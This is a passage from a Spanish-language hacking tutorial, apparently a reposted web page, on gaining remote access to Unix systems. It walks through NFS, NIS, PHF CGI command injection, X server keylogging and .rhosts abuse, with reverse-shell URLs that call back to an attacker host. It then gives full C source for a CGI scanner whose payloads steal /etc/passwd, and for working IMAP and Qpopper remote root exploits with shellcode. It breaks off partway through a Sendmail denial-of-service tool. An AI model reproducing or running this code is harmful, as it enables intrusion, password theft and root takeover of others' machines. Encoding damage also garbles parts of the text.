importa. Busquemos un  usuario daemon o bin. Si  podemos acceder a los<br />
binarios, =A1asunto zanjado! Suponfamos que existe el registro:</p>
<p>bin:x:2:2::/usr/bin</p>
<p>Vamos a montar /usr y cambiar nuestro UID y GID al de bin:</p>
<p>nfs&gt;mount /usr</p>
<p>nfs&gt;uid 2</p>
<p>nfs&gt;gid 2</p>
<p>(y lo comprobamos con nfs&gt;status)</p>
<p>A  partir de  ahora,  tenemos los  privilegios  de bin  en el  sistema<br />
remoto. Ahora podemos  crear un canal trasero con  el siguiente script<br />
en  nuestro sistema (darkstar.us.es)  y llamarlo  in.ftpd en  el mismo<br />
lugar donde  activamos el cliente nfs  (abrimos un xterm  y hacemos vi<br />
in.ftpd  en el  mismo directorio  donde  lanzamos el  cliente nfs.  El<br />
contenido del script sera:</p>
<p>#!/bin/sh<br />
/usr/&#8212;ruta hasta&#8211;/bin/xterm -display darkstar.us.es:0.0 &amp;</p>
<p>luego lo salvamos y le damos permisos de ejecucion.</p>
<p>Despues volvemos al otro xterm y hacemos</p>
<p>nfs&gt;cd /sbin</p>
<p>nfs&gt;put in.ftp</p>
<p>De   esta  manera   copiamos   in.ftpd  a   /sbin,  reescribiendo   el<br />
original.  Entonces  desde la  otra  xterm  permitimos a  objetivo.net<br />
conectarse a nuestro servidor X:</p>
<p>#&gt;xhost +objetivo.net<br />
=2E..</p>
<p>#&gt;ftp objetivo.net</p>
<p>Lo  que  sucedera  es  que  aparecera  en  nuestro  sistema  un  xterm<br />
perteneciente  al  administrador de  objetivo.net,  pues  al llamar  a<br />
in.ftpd desde inetd, este  ejecutara nuestro script con privilegios de<br />
root.<br />
3.2.2 NIS</p>
<p>Ya hemos hablado del NIS,  anta=F1o conocido como Yellow Pages (de ahi<br />
el  yp&#8230;).  Cuando  hacemos  rpcinfo  -p objetivo.net  y  aparece  un<br />
servidor ypserv ya estamos seguros  de que el NIS esta funcionando. Si<br />
mediante algun artificio tuvieramos una  cuenta en una maquina con NIS<br />
tendriamos  la posibilidad  de  acceder al  archivo /etc/passwd.  Para<br />
saber si en una maquina  donde tenemos cuenta funciona NIS, hacemos ps<br />
ax y si  aparece el conocido ypserv =A1ya esta!  En tal caso podriamos<br />
usar el comando ypcat:</p>
<p>$&gt;ypcat /etc/passwd&gt; ~/passwd</p>
<p>para copiarnos  el /etc/passwd  en nuestro home.  En caso de  no tener<br />
privilegios  para  ejecutar ypcat  o  si no  esta,  se  puede usar  el<br />
programa pwget (este  lo veremos en el capitulo  4 destinado al acceso<br />
local). Ademas existe  un programa llamado ypx para  extraer los mapas<br />
de un servidor NIS y lo podeis encontrar en:</p>
<p><a href="http://morehouse.org/hin/root/ypx.tgz">http://morehouse.org/hin/root/ypx.tgz</a></p>
<p>Su uso es muy sencillo:</p>
<p>ypx -m passwd nombre_dominio_NIS<br />
3.2.3 Inseguridades en scripts CGI</p>
<p>La  interfaz CGI  (Common Gateway  Interface) permite  la comunicacion<br />
entre programas cliente y un servidor que emplea el protocolo http. El<br />
protocolo de comunicaciones  usado por el script CGI  y el servidor es<br />
el TCP/IP usando por defecto  el puerto 80. Las vulnerabilidades no se<br />
deben a fallos  de CGI, sino a errores en  las especificaciones HTTP y<br />
programas del  sistema. La  parte fundamental de  un script CGI  es un<br />
documento  HTML llamado  FORM (Formulario).  Los scripts  CGI deberian<br />
realizar  el  filtrado  de   los  contenidos  del  campo  &lt;INPUT&gt;  del<br />
formulario  (entradas  de  usuarios),  pero  en muchos  casos,  no  lo<br />
hacen&#8230;con lo cual es posible ganar  un acceso ;-D.  PHF es un script<br />
CGI  estandar en  las primeras  versiones del  servidor Apache  y NCSA<br />
HTTPD. Aunque  parezca raro, todavia  hay sistemas que  presentan esta<br />
vulnerabilidad, por eso la cuento.  El programa de marras no procesaba<br />
ni  validaba adecuadamente  la entrada.  PHF aceptaba  el  caracter de<br />
newline (%0a) y  ejecutaba cualquier mandato posterior con  la UID del<br />
usuario que estuviera ejecutando el servidor (generalmente nobody). El<br />
codigo utilizado  era el siguiente,  que puede lanzarse  desde nuestro<br />
navegador (lynx para los castizos; Netscape para los modelnos):</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd</a></p>
<p>De este modo (%20) es un espacio) podria tenerse acceso a /etc/passwd;<br />
pero si estan sombreados habra que pensar en otra cosita:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0</a></p>
<p>El  servidoe web remoto  ejecutara un  xterm y  lo montara  en nuestro<br />
servidor X (darkstar.us.es) con un ID de ventana 0 y un ID de pantalla<br />
0. Como esta  activada la  opcion -ut, el  sistema no  registrara esta<br />
actividad.  Hay numerosos scripts  para buscar sistema con scripts CGI<br />
y PHF como vereis a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cgi scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/* This source is absolutely free to use and modify at you own risk, please<br />
do not change some chars and say that this program is yours or i&#8217;ll die the<br />
next day&#8230; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Pay attention, this file is for research purpose only, do not<br />
use it into any hacking way. Is possible to be logged while running the<br />
program, so PAY ATTENTION!.<br />
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.</p>
<p>Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!<br />
I want also give a big thanks to:</p>
<p>Goku: my linux guru<br />
SMaster: my prezident<br />
MaNdraKe: and his future girlfriends<br />
Pr3dator: for his help on linux (go slower on cars!:pPp)<br />
PhoenYx: the best italian hacker<br />
Berk: a cool friend and a wannabe hacker<br />
xOANON: the best cracker all around<br />
Golem: for his bot, what about setting it on #softpj? <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Spaceone: a good friend<br />
TanK_GirL: a future hacker! (i hope)<br />
RootShell: for many source and ideas</p>
<p>I want also give a big fuck to:</p>
<p>Telecom Italia: u must die!<br />
WarLords: Good ircwarriors but stupid people<br />
Alexb: pay attention at your fuckin&#8217; shells<br />
Lamers: try to be more newbies!</p>
<p>by |scacco|</p>
<p>Add-on By Dark Schneider</p>
<p>*/</p>
<p>#include &lt;sys/stat.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;termios.h&gt;                 �<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;fcntl.h&gt;<br />
#include &lt;sys/syslog.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/times.h&gt;           �<br />
#include &lt;sys/time.h&gt;                         �<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;sys/signal.h&gt;<br />
#include &lt;arpa/inet.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#define MAXSTR 12</p>
<p>main (int argc, char *argv[])<br />
{<br />
struct sockaddr_in sin;<br />
/* int outsocket, serv_len, len,c,outfd; */<br />
/* struct hostent *nametocheck; */<br />
/* struct in_addr outgoing; */<br />
struct hostent *hp;<br />
char host[100], buffer[1024], hosta[1024],FileBuf[8097];<br />
int sock, i=3D0, X;<br />
char  *stringhe[MAXSTR];<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
stringhe[i]=3D(char *) malloc(sizeof(char)*100);<br />
}<br />
�<br />
/* Classic PHF bug&#8230; It still Works! */<br />
�<br />
stringhe[0]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd\n&#8221;;<br />
�<br />
/* test-cgi bug, possible to view documents location */<br />
�<br />
stringhe[1]=3D&#8221;GET /cgi-bin/test-cgi?*\n&#8221;;<br />
�<br />
/* htmlscript bug, a good language that can us have passwd <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  */<br />
�<br />
stringhe[2]=3D&#8221;GET /cgi-bin/htmlscript?../../../../etc/passwd\n&#8221;;<br />
�<br />
/* view-source bug, some httd use this&#8230; */<br />
�<br />
stringhe[3]=3D&#8221;GET /cgi-bin/view-source?../../../../etc/passwd\n&#8221;;<br />
�<br />
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */<br />
�<br />
stringhe[4]=3D&#8221;GET /cgi-bin/wrap?/../../../../../etc\n&#8221;;<br />
�<br />
/* Campas allow you to get the passwd on NCSA server 1.2 */<br />
�<br />
stringhe[5]=3D&#8221;GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n&#8221;;<br />
�<br />
/* With pfdisplay &amp; webdist is possible to get the passwd on IRIX 6.2 systems */<br />
�<br />
stringhe[6]=3D&#8221;GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n&#8221;;<br />
�<br />
stringhe[7]=3D&#8221;GET /cgi-bin/webdist.cgi?distloc=3D;cat%20/etc/passwd\n&#8221;;</p>
<p>/* With aglimpse is possible to mail the password file anywhere <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */<br />
�<br />
stringhe[8]=3D&#8221;GET /cgi-bin/aglimpse/80|IFS=3D5;CMD=3D5mail5dashie\@cyberdude.com\&lt;/etc/passwd;eval$CMD;echo\n&#8221;;<br />
�<br />
/* An interesting variant for phf*/</p>
<p>stringhe[9]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/usr/bin/ypcat%20passwd\n&#8221;;</p>
<p>stringhe[10]=3D&#8221;GET /cgi-bin/php.cgi?/etc/passwd\n&#8221;;</p>
<p>/* a new test-cgi but the bug is the same <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */</p>
<p>stringhe[11]=3D&#8221;GET /cgi-bin/nph-test-cgi?*\n&#8221;;<br />
�<br />
while(fgets(hosta,100,stdin))<br />
{<br />
if(hosta[0] =3D=3D &#8216;\0&#8242;)<br />
break;<br />
hosta[strlen(hosta) -1] =3D &#8216;\0&#8242;;<br />
write(1,hosta,strlen(hosta)*sizeof(char));<br />
write(1,&#8221;\n&#8221;,sizeof(char));<br />
�<br />
hp =3D gethostbyname (hosta);<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
bzero((char*) &amp;sin, sizeof(sin));<br />
bcopy(hp-&gt;h_addr, (char *) &amp;sin.sin_addr, hp-&gt;h_length);<br />
sin.sin_family =3D hp-&gt;h_addrtype;<br />
sin.sin_port =3D htons(80);<br />
sock =3D socket(AF_INET, SOCK_STREAM, 0);<br />
X=3Dconnect(sock,(struct sockaddr *) &amp;sin, sizeof(sin));<br />
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));�<br />
while((X=3Dread(sock,FileBuf,8096))!=3D0)<br />
write(1,FileBuf,X);<br />
�<br />
}</p>
<p>}<br />
printf(&#8220;\nScacco&amp;Dark Schneider &#8211; S0ft Pr0ject 98&#8243;);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/end CGI scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Hay otros pero este ya vale.</p>
<p>Bueno&#8230;y si el  administrador ha eliminado las X?  Entonces habra que<br />
recurrir a un canal trasero. En  la mayor parte de los servidores unix<br />
hay  instalado un  cliente telnet  sin restricciones  de  empleo. Para<br />
conseguir  nuestro  canal  trasero  realizaremos un  &#8220;telnet  inverso&#8221;<br />
utilizando  la herramienta  netcat  para activar  escuchas en  nuestro<br />
propio  sistema. Debemos  ejecutar los  siguientes comandos  en sendos<br />
xterms de nuestra maquina:</p>
<p>(xterm1)#&gt;nc -l -n -v -p 80</p>
<p>(xterm2)#&gt;nc -l -n -v -p 25</p>
<p>Hemos de asegurarnos de que no hay demonio alguno escuchando por tales<br />
puertos  en nuestro  sistema  y si  los hay  haced  un ps  ax y  luego<br />
matadlos  con kill  -9  &lt;pid&gt;. Los  dos  mandatos nc  escuchan en  los<br />
puertos 80  y 25 de nuestra  maquina. Para iniciar  el telnet inverso,<br />
ejecutamos en el servidor objetivo desde nuestro navegador:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/telnet%20darkstar_IP%2080%20|%20/bin/sh%20|%20/bin/telnet%20darkstar_IP%2025</a></p>
<p>que equivaldria a hacer en la maquina remota:</p>
<p>/bin/telnet darkstar_IP 80|/bin/sh/|/bin/telnet darkstar_IP 25</p>
<p>El  mandato /bin/telnet darkstar_IP  80 se  conecta a  nuestra escucha<br />
netcat  en   el  puerto  80.  Aqui  es   donde  escribiremos  nuestras<br />
ordenes. La salida estandar o las pulsaciones de teclas que hagamos se<br />
introduciran  en  /bin/sh.  Posteriormente,  el  resultadode  nuestros<br />
mandatos se dirigira a /bin/telnet darkstar_IP 25. Al final tenemos un<br />
telnet inverso  que se ejecuta  en dos ventanas separadas.  Se escogen<br />
los  puertos 80  y 25  porque son  servicios comunes  que generalmente<br />
permiten  los  cortafuegos.  Existen   otros  modos  de  explotar  las<br />
vulnerabilidades CGI, pero se llevan a cabo desde acceso local.</p>
<p>3.2.4 Vulnerabilidades de servidores X</p>
<p>Muchos   servidores  X   ejecutan  de   forma   predeterminada  xhost+<br />
permitiendo que cualquier usuario local  o remoto acceda al servidor X<br />
sin autenticarse  y muchos administradores ni se  percatan. Existe una<br />
utilidad llamada xscan que podeis encontrar en</p>
<p><a href="http://morehouse.org/hin/root/xscan.tar.gz">http://morehouse.org/hin/root/xscan.tar.gz</a></p>
<p>que  permite   identificar  los  servidores  X   que  tienen  activado<br />
xhost+. Una vez instalada hacemos</p>
<p>$&gt;xscan objetivo.net<br />
=2E..<br />
Connecting to objetivo.net&#8230;on port 6000<br />
connected<br />
Host objetivo.net is running X<br />
Starting keyboard logging of host objetivo.net<br />
:0.0 to file KEYLOGobjetivo.net:0.0.</p>
<p>A  partir de  ahora, cualquier  pulsacion  de teclas  realizada en  la<br />
consola  de  la  maquina  remota  quedara  registrada  en  el  archivo<br />
KEYLOGobjetivo.net. Si ejecutamos un tail sobre el archivo de registro<br />
podemos ver lo que el usuario esta escribiendo en el teclado:</p>
<p>$&gt;tail -f KEYLOGobjetivo.net:0.0<br />
su -<br />
[shift_L * Iamowned (Shift_R)]</p>
<p>Asi vemos que el usuario ha ejecutado el comando su con el password de<br />
root &#8220;Iamowned&#8221; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )).<br />
3.3 Mala configuracion de hosts.equiv y .rhosts</p>
<p>En una red basada en TCP/IP el fichero /etc/hosts.equiv es una base de<br />
datos general  que controla el acceso  a nivel de hosts,  y el fichero<br />
/home/usuario/.rhosts  controla el  acceso  a la  maquina  a nivel  de<br />
usuario. Las maquinas cuyos  nombres encontremos en /etc/hosts.equiv o<br />
en ~/.rhosts  se llaman  &#8220;trusted hosts&#8221; o  maquinas de  confianza por<br />
parte del objetivo. Cuando  intentamos conectarnos a la maquina remota<br />
mediante  rlogin (la  maquina remota  ha de  tener el  puerto  513 tcp<br />
rlogin activo)</p>
<p>$&gt;rlogin -l objetivo.net</p>
<p>el demonio rlogin  busca en /etc/hosts.equiv por el  nombre de nuestra<br />
maquina y si lo encuentra, hemos conseguido el acceso. Tambien podemos<br />
intentarlo haciendo</p>
<p>~&gt;rlogin -l usuario objetivo.net</p>
<p>entonces  rlogin busca  el nombre  de  nuestra maquina  en el  fichero<br />
/home/usuario/.rhost y  si la  encuentra, tambien hemos  conseguido el<br />
acceso.  Un  antiguo &#8220;bug&#8221; de rlogin permitia  conseguir una rootshell<br />
haciendo</p>
<p>$&gt;rlogin objetivo.net -l -froot.</p>
<p>Si  una maquina  tiene  el rlogin  activado  (y no  tiene filtros  tcp<br />
warppers)   debemos  intentar   escribir  una   &#8220;+&#8221;  en   ~/.rhosts  o<br />
/etc/hosts.equiv.  Muchos  ya vienen  con  la  entrada  &#8220;+&#8221; en  dichos<br />
archivos por defecto  y eso significa que cualquier  otra maquina sera<br />
un &#8220;trusted  hosts&#8221;. Voy a  ilustrar esto con  un ejemplito de  lo mas<br />
interesante. Supongamos  que sabemos  que en nuestro  sistema objetivo<br />
estan activos los servicios rlogin, mountd y nfs. Si hacemos</p>
<p>#&gt;showmount -e objetivo.net<br />
y nos sale</p>
<p>/home</p>
<p>Lo primero que haremos sera crear un directorio para montar /home</p>
<p>#&gt;mkdir patapalo</p>
<p>#&gt;mount -nt nfs objetivo.net:/home /patapalo</p>
<p>#&gt;ls -la /patapalo<br />
Imaginemos que encontramos la siguiente entrada con UID=3D102:</p>
<p>1 drwx&#8212;&#8212; 15 102 100   1024 Jul 8 18:57 skywalker/</p>
<p>Hacemos una entrada nueva en nuestro fichero de passwd para skywalker pero sin contrase=F1a:</p>
<p>#&gt;echo &#8220;skywalker::102:2::/patapalo: /bin/shi&#8221; &gt;&gt; /etc/passwd</p>
<p>#&gt;su &#8211; skywalker<br />
(sin contrasenya)</p>
<p>Una vez como skywalker, podemos hacer:</p>
<p>#&gt;echo &#8220;+ +&#8221; &gt; skywalker/.rhosts (hacemos que la maquina remota considere a cualquiera, nosotros por ejemplo, como de confianza)</p>
<p>#&gt;cd /</p>
<p>#&gt;rlogin -l skywalker objetivo.net<br />
Wellcome to objetivo.net<br />
=2E..</p>
<p>objetivo.net:~$&gt;</p>
<p>=A1Ya tenemos cuenta en el sistema!</p>
<p>Para desmontar el archivo, salimos del directorio y hacemos</p>
<p>#&gt;umount /patapalo</p>
<p>De todos  modos es muy raro  que pasen estas  cosas&#8230;los tcp warppers<br />
deberian  tener  bien  configurados  sus  ficheros  de  hosts.allow  y<br />
hosts.deny&#8230;pero por  defecto, al instalarse  automaticamente los tcp<br />
warppers en  el sistema (linux  p.ej.)  los ficheros  de configuracion<br />
mencionados estan vacios de reglas de acceso.<br />
3.4 Exploits</p>
<p>Los exploits son procedimientos que nos permiten aprovechar (explotar)<br />
un fallo o vulnerabilidad en  ciertos programas que se ejecutan con el<br />
bit setuid activado y que nos permiten acceder al sistema generalmente<br />
con una rootshell. Si bien la  mayor parte de las veces se utilizan en<br />
acceso  local como  procedimiento para  acceder a  los  privilegios de<br />
root, tambien se usan para el acceso remoto utilizando alguna utilidad<br />
de red como telnet o netcat.</p>
<p>La mayor parte de los  exploits se basan en desbordamientos del buffer<br />
de  la  pila(stack  buffer  overflow).  En el  excelente  articulo  de<br />
AlephOne aparecido en  noviembre de 1996 en el Phrack  (49, file 14) y<br />
titulado  &#8220;Smashing  the  Stack   for  Fun  and  Profit&#8221;  se  describe<br />
minuciosamente  como es  posible desbordar  el buffer  de la  pila del<br />
proceso  y establecer  la direccion  de  retorno para  que se  ejecute<br />
codigo  arbitrario, generalmente  una rutina  en ensamblador  (a veces<br />
llamada  &#8220;egg&#8221;) que  ejecuta /bin/sh  con  privilegio de  root (si  el<br />
programa  tenia  el  bit  setuid  activado).  Esta  vulnerabilidad  la<br />
presentan  en  principio  los  programas  que  llaman  a  determinadas<br />
funciones C tales como strcpy(), strcat() y sprintf() que no verifican<br />
el tama=F1o de los arrays. Hay  un articulo muy sencillo de leer (o lo<br />
habia)  en <a href="http://hello.to/hacker_novatos">http://hello.to/hacker_novatos</a> escrito  por RaiSe  para los<br />
neofitos, pero debeis de tener  al menos unas nociones de programacion<br />
C,  la  distribucion en  la  memoria  de un  proceso  unix  y algo  de<br />
ensamblador (CPU Intel  y linux como so). Yo por  mi me enrrollaria un<br />
poco con  el tema  porque es apasionante  y es  relativamente sencillo<br />
escribir nuestros  propios exploits&#8230;pero  eso sera otra  historia si<br />
Dios quiere  que disponga de tiempo  para hacer una  introduccion a la<br />
realizacion de exploits. Basta decir que si visitamos la pagina</p>
<p><a href="http://www.rootshell.com">http://www.rootshell.com</a></p>
<p>y buscamos en  &#8220;exploits&#8221; encontraremos de todo. En  cada uno de ellos<br />
se explica el  modus operandi para aplicarlos. Yo  he recogido algunos<br />
recientitos para Linuxy los pego a continuacion:</p>
<p>**Uno para imap, del 98</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/*</p>
<p>THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF THE ADM CREW<br />
�<br />
Linux WU-IMAPD 4.1 remote root exploit (4/98)<br />
by   ndubee||plaguez<br />
<a href="mailto:dube0866@eurobretagne.fr">dube0866@eurobretagne.fr</a></p>
<p>Usage:   ./imapx &lt;offset&gt;<br />
�<br />
where offset =3D -500..500  (brute force if 0 doesnt work)</p>
<p>Credits:<br />
- Cheez Whiz (original x86 BSD exploit)<br />
- #!w00w00 and #!ADM</p>
<p>Note:<br />
if you plan to port this to other OS., make sure the<br />
shellcode doesn&#8217;t contain lower case chars since imapd<br />
will toupper() the shellcode, thus fucking it up.</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;limits.h&gt;<br />
#include &lt;string.h&gt;<br />
#define BUFLEN 2048<br />
#define NOP 0&#215;90</p>
<p>char shell[] =3D<br />
/*<br />
jmp 56<br />
popl %esi<br />
movl    %esi,%ebx<br />
movl    %ebx,%eax<br />
�<br />
addb    $0&#215;20,0&#215;1(%esi)<br />
addb    $0&#215;20,0&#215;2(%esi)<br />
addb    $0&#215;20,0&#215;3(%esi)<br />
addb    $0&#215;20,0&#215;5(%esi)<br />
addb    $0&#215;20,0&#215;6(%esi)<br />
�<br />
movl    %esi,%edi<br />
addl    $0&#215;7,%edi<br />
xorl    %eax,%eax<br />
stosb   %al,%es:(%edi)<br />
movl    %edi,%ecx<br />
movl    %esi,%eax<br />
stosl   %eax,%es:(%edi)<br />
movl    %edi,%edx<br />
xorl    %eax,%eax<br />
stosl   %eax,%es:(%edi)<br />
movb    $0&#215;8,%al<br />
addb    $0&#215;3,%al<br />
int     $0&#215;80<br />
xorl    %ebx,%ebx<br />
movl    %ebx,%eax<br />
incl    %eax<br />
int     $0&#215;80<br />
call   -61<br />
.string \&#8221;/BIN/SH\&#8221;<br />
.byte   0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff  ;markup</p>
<p>*/</p>
<p>&#8220;\xeb\x38\x5e\x89\xf3\x89\xd8\x80&#8243;<br />
&#8220;\x46\x01\x20\x80\x46\x02\x20\x80&#8243;<br />
&#8220;\x46\x03\x20\x80\x46\x05\x20\x80&#8243;<br />
&#8220;\x46\x06\x20\x89\xf7\x83\xc7\x07&#8243;<br />
&#8220;\x31\xc0\xaa\x89\xf9\x89\xf0\xab&#8221;<br />
&#8220;\x89\xfa\x31\xc0\xab\xb0\x08\x04&#8243;<br />
&#8220;\x03\xcd\x80\x31\xdb\x89\xd8\x40&#8243;<br />
&#8220;\xcd\x80\xe8\xc3\xff\xff\xff\x2f&#8221;<br />
&#8220;\x42\x49\x4e\x2f\x53\x48\x00&#8243;;</p>
<p>void<br />
main (int argc, char *argv[])<br />
{<br />
char buf[BUFLEN];<br />
int offset=3D0,nop,i;<br />
unsigned long esp;</p>
<p>fprintf(stderr,&#8221;usage: %s &lt;offset&gt;\n&#8221;, argv[0]);<br />
�<br />
nop =3D 403;<br />
esp =3D 0xbffff520;<br />
if(argc&gt;1)<br />
offset =3D atoi(argv[1]);</p>
<p>memset(buf, NOP, BUFLEN);<br />
memcpy(buf+(long)nop, shell, strlen(shell));<br />
�<br />
for (i =3D 512; i &lt; BUFLEN &#8211; 4; i +=3D 4)<br />
*((int *) &amp;buf[i]) =3D esp + (long) offset;</p>
<p>printf(&#8220;* AUTHENTICATE {%d}\r\n&#8221;, BUFLEN);<br />
for (i =3D 0; i &lt; BUFLEN; i++)<br />
putchar(buf[i]);<br />
�<br />
printf(&#8220;\r\n&#8221;);</p>
<p>return;<br />
}<br />
&#8212;&#8212;&#8212;&#8212;&#8211;/end imap exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para qpop3</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin qpop3 exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
/*<br />
* !Hispahack Research Team<br />
* <a href="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br />
*<br />
* By Zhodiac &lt;<a href="mailto:zhodiac@softhome.net">zhodiac@softhome.net</a>&gt;<br />
*<br />
* Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)<br />
* Overflow at pop_list()-&gt;pop_msg()<br />
*<br />
* Tested: 3.0beta28  offset=3D0<br />
*         3.0beta26  offset=3D0<br />
*         3.0beta25  offset=3D0<br />
*<br />
* #include &lt;standar/disclaimer.h&gt;<br />
*<br />
* This code is dedicated to my love [CrAsH]] and to all the people who<br />
* were raided in Spain in the last few days.<br />
*<br />
* Madrid 10/1/2000<br />
*<br />
*/</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#define BUFFERSIZE 1004<br />
#define NOP 0&#215;90<br />
#define OFFSET 0xbfffd9c4</p>
<p>char shellcode[]=3D<br />
&#8220;\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89&#8243;<br />
&#8220;\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89&#8243;<br />
&#8220;\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh&#8221;;<br />
void usage(char *progname) {<br />
fprintf(stderr,&#8221;Usage: (%s &lt;login&gt; &lt;password&gt; [&lt;offset&gt;]; cat) | nc &lt;target&gt; 110&#8243;,progname);<br />
exit(1);<br />
}</p>
<p>int main(int argc, char **argv) {<br />
char *ptr,buffer[BUFFERSIZE];<br />
unsigned long *long_ptr,offset=3DOFFSET;<br />
int aux;</p>
<p>fprintf(stderr,&#8221;\n!Hispahack Research Team (<a href="http://hispahack.ccc.de)\n">http://hispahack.ccc.de)\n</a>&#8220;);<br />
fprintf(stderr,&#8221;Qpopper xploit by Zhodiac &lt;<a href="mailto:zhodiac@softhome.net&gt;\n\n">zhodiac@softhome.net&gt;\n\n</a>&#8220;);</p>
<p>if (argc&lt;3) usage(argv[0]);</p>
<p>if (argc=3D=3D4) offset+=3Datol(argv[3]);</p>
<p>ptr=3Dbuffer;<br />
memset(ptr,0,sizeof(buffer));<br />
memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);<br />
ptr+=3Dsizeof(buffer)-strlen(shellcode)-16;<br />
memcpy(ptr,shellcode,strlen(shellcode));<br />
ptr+=3Dstrlen(shellcode);<br />
long_ptr=3D(unsigned long*)ptr;<br />
for(aux=3D0;aux&lt;4;aux++) *(long_ptr++)=3Doffset;<br />
ptr=3D(char *)long_ptr;<br />
*ptr=3D&#8217;\0&#8242;;</p>
<p>fprintf(stderr,&#8221;Buffer size: %d\n&#8221;,strlen(buffer));<br />
fprintf(stderr,&#8221;Offset: 0x%lx\n\n&#8221;,offset);</p>
<p>printf(&#8220;USER %s\n&#8221;,argv[1]);<br />
sleep(1);<br />
printf(&#8220;PASS %s\n&#8221;,argv[2]);<br />
sleep(1);<br />
printf(&#8220;LIST 1 %s\n&#8221;,buffer);<br />
sleep(1);<br />
printf(&#8220;uname -a; id\n&#8221;);</p>
<p>return(0);<br />
}</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;/end qpop exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
**Otro para sendmail</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;/begin sendmail exploit&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
/*<br />
against.c &#8211; Another Sendmail (and pine <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  DoS (up to 8.9.2)<br />
(c) 1999 by &lt;<a href="mailto:marchew@linux.lepszy.od.kobiety.pl">marchew@linux.lepszy.od.kobiety.pl</a>&gt;</p>
<p>Usage: ./against existing_user_on_victim_host victim_host<br />
Example: ./against nobody lamers.net</p>
<p>*/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;sys/time.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#include &lt;stdarg.h&gt;<br />
#include &lt;errno.h&gt;<br />
#include &lt;signal.h&gt;<br />
#include &lt;getopt.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;string.h&gt;</p>
<p>#define MAXCONN 5<br />
#define LINES   150000</p>
<p>struct hostent *hp;<br />
struct sockaddr_in s;<br />
int suck,loop,x;</p>
<p>int main(int argc,char* argv[]) {<br />
�<br />
printf(&#8220;against.c &#8211; another Sendmail DoS (up to 8.9.2)\n&#8221;);</p>
<p>if (argc-3) {<br />
